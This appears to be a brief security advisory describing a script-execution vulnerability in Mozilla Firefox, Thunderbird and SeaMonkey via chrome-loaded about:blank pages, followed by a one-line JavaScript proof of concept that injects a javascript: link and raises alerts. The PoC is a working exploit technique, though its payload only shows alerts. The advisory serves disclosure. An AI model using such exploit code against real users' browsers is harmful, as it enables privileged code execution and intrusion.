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Mozilla Firefox/Thunderbird/SeaMonkey Chrome-Loaded About:Blank Script Execution Vulnerability

To exploit this issue, an attacker must entice an unsuspecting user to access a malicious webpage.

The following proof of concept is available:

w=open("about:blank");alert(1);u="javascript:alert(Components.stack);";w.document.body.innerHTML=u.link(u);w.focus();1 or top.opener.content.location="about:blank";alert(1);u="javascript:alert(Components.stack);";(w=top.opener.content).document.body.innerHTML=u.link(u);w.focus();1